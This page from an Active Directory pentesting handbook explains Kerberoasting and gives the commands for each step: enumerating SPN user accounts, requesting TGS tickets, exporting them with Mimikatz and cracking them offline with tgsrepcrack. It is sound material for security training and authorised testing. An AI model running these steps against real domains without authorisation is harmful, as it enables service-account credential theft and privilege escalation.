> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/kerberoasting.md).

# KERBEROASTING

Kerberoasting attack can be mainly used for vertical and horizontal privilege escalation

Kerberoasting the services which uses Machine Account is simply a waste of time, because machine account uses complex passwords which cannot be found from its hash value

Kerberoasting is widely targeted on services which are using User Accounts

Enumerating services which uses User Accounts on current domain

{% code title="PowerView" %}

```
Get-NetUser -SPN
```

{% endcode %}

{% code title="Active Directory Module" %}

```
 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

{% endcode %}

Kerberoasting a user account of a service, gives you the same privilege as the user account

Requesting a new TGS to the service from an user account

{% code title="PowerView" %}

```
Request-SPNTicket -SPN <SPN FQDN>
```

{% endcode %}

{% code title="Active Directory Module" %}

```
Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <SPN FQDN>
```

{% endcode %}

Verifying tickets using **klist**

Exporting the tickets to crack the hash

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

Cracking this TGS ticket using passwords list (Will not be successful everytime, depends on the password list)

```
 python .\tgsrepcrack.py <WORDLIST> <TOKEN FILE>
```

**CRACK**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/kerberoasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
